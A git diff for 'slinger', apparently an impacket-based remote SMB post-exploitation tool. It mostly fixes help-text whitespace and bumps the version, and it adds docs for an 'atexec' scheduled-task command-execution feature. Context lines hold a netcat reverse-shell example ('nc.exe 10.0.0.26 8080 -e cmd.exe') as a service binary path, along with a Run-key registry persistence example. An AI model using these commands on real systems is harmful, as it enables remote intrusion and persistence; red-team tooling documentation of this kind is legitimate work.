diff --git a/HELP_MENU.md b/HELP_MENU.md index 58a7bf5..69bd23d 100644 --- a/HELP_MENU.md +++ b/HELP_MENU.md @@ -39,7 +39,7 @@ Example Usage: ls /path/to/directory ### Arguments -- **`path`**: Path to list contents, defaults to current path +- **`path`**: Path to list contents, defaults to current path - Default: `.` - Required: No @@ -59,7 +59,7 @@ Example Usage: ls /path/to/directory **Help:** ``` -shares [-h] +shares [-h] [-l] List all shares available on the remote server ``` @@ -76,7 +76,7 @@ Example Usage: shares **Help:** ``` -shares [-h] +shares [-h] [-l] List all shares available on the remote server ``` @@ -126,7 +126,7 @@ Example Usage: cd /path/to/directory ### Arguments -- **`path`**: Directory path to change to, defaults to current directory +- **`path`**: Directory path to change to, defaults to current directory - Default: `.` - Required: No @@ -947,7 +947,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe" - **`displayname`**: Specify the display name of the new service - Required: Yes -- **`starttype`**: Specify the start type of the new service +- **`starttype`**: Specify the start type of the new service - Choices: auto, demand, system - Default: `demand` - Required: Yes @@ -980,7 +980,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe" - **`displayname`**: Specify the display name of the new service - Required: Yes -- **`starttype`**: Specify the start type of the new service +- **`starttype`**: Specify the start type of the new service - Choices: auto, demand, system - Default: `demand` - Required: Yes @@ -1013,7 +1013,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe" - **`displayname`**: Specify the display name of the new service - Required: Yes -- **`starttype`**: Specify the start type of the new service +- **`starttype`**: Specify the start type of the new service - Choices: auto, demand, system - Default: `demand` - Required: Yes @@ -1046,7 +1046,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe" - **`displayname`**: Specify the display name of the new service - Required: Yes -- **`starttype`**: Specify the start type of the new service +- **`starttype`**: Specify the start type of the new service - Choices: auto, demand, system - Default: `demand` - Required: Yes @@ -1500,7 +1500,7 @@ Example Usage: mget /remote/path /local/path - **`p`**: Specify a regex pattern to match filenames - Required: No -- **`d`**: Specify folder depth count for recursion +- **`d`**: Specify folder depth count for recursion - Default: `2` - Required: No @@ -1727,7 +1727,7 @@ Example Usage: regset -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run - **`data`**: Specify the registry data to set - Required: Yes -- **`type`**: Specify the registry type to set +- **`type`**: Specify the registry type to set - Default: `REG_SZ` - Required: No @@ -2126,7 +2126,7 @@ Example Usage: counter -c 123 [-a x86] - **`counter`**: Specify the counter to display - Required: No -- **`arch`**: Specify the architecture of the remote server +- **`arch`**: Specify the architecture of the remote server - Choices: x86, x64, unk - Default: `unk` - Required: No @@ -2150,6 +2150,58 @@ Example Usage: network --- +## `atexec` + +**Description:** Execute a command on the remote server + +**Help:** +``` +atexec [-h] -c COMMAND -sp PATH [-sn SAVE_NAME] -tn NAME [-ta AUTHOR] [-td DESCRIPTION] [-tf FOLDER] [-sh SHARE] [--shell] [-w WAIT] +Execute a command on the remote server +``` + +**Example Usage:** +``` +Example Usage: atexec -tn "NetSvc" -sh C$ -sp \\Users\\Public\\Downloads\\ -c ipconfig +``` + +### Arguments + +- **`command`**: Specify the command to execute + - Required: Yes + +- **`path`**: Specify the folder to save the output file + - Default: `\Users\Public\Downloads\` + - Required: Yes + +- **`save_name`**: Specify the name of the output file. Default is .txt + - Required: No + +- **`name`**: Specify the name of the scheduled task + - Required: Yes + +- **`author`**: Specify the author of the scheduled task + - Default: `Slinger` + - Required: No + +- **`description`**: Specify the description of the scheduled task + - Default: `Scheduled task created by Slinger` + - Required: No + +- **`folder`**: Specify the folder to run the task in + - Default: `\Windows` + - Required: No + +- **`share`**: Specify the share name to connect to + - Default: `C$` + - Required: No + +- **`wait`**: Seconds to wait for the task to complete + - Default: `1` + - Required: No + +--- + ## `reload` **Description:** Reload the current sessions context diff --git a/build_script.py b/build_script.py index 6b16eaa..1452af0 100644 --- a/build_script.py +++ b/build_script.py @@ -62,7 +62,7 @@ def generate_markdown(commands, output_file): if details['arguments']: md_file.write("### Arguments\n\n") for arg in details['arguments']: - md_file.write(f"- **`{arg['name']}`**: {arg['help'] or 'No description provided'}\n") + md_file.write(f"- **`{arg['name']}`**: {arg['help'] or 'No description provided'}\n".replace('(default: %(default)s)','')) if arg['choices']: md_file.write(f" - Choices: {', '.join(arg['choices'])}\n") if arg['default'] is not None: diff --git a/pyproject.toml b/pyproject.toml index e75481e..42490cb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "slingerpkg" -version = "1.3.1" +version = "1.4" description = "An impacket swiss army knife (sort of)" readme = "README.md" dependencies = [ "impacket==0.11.0", "prompt_toolkit==3.0.41", "pycryptodome==3.20.0", "setuptools==70.0.0", "tabulate==0.8.9", "toml",]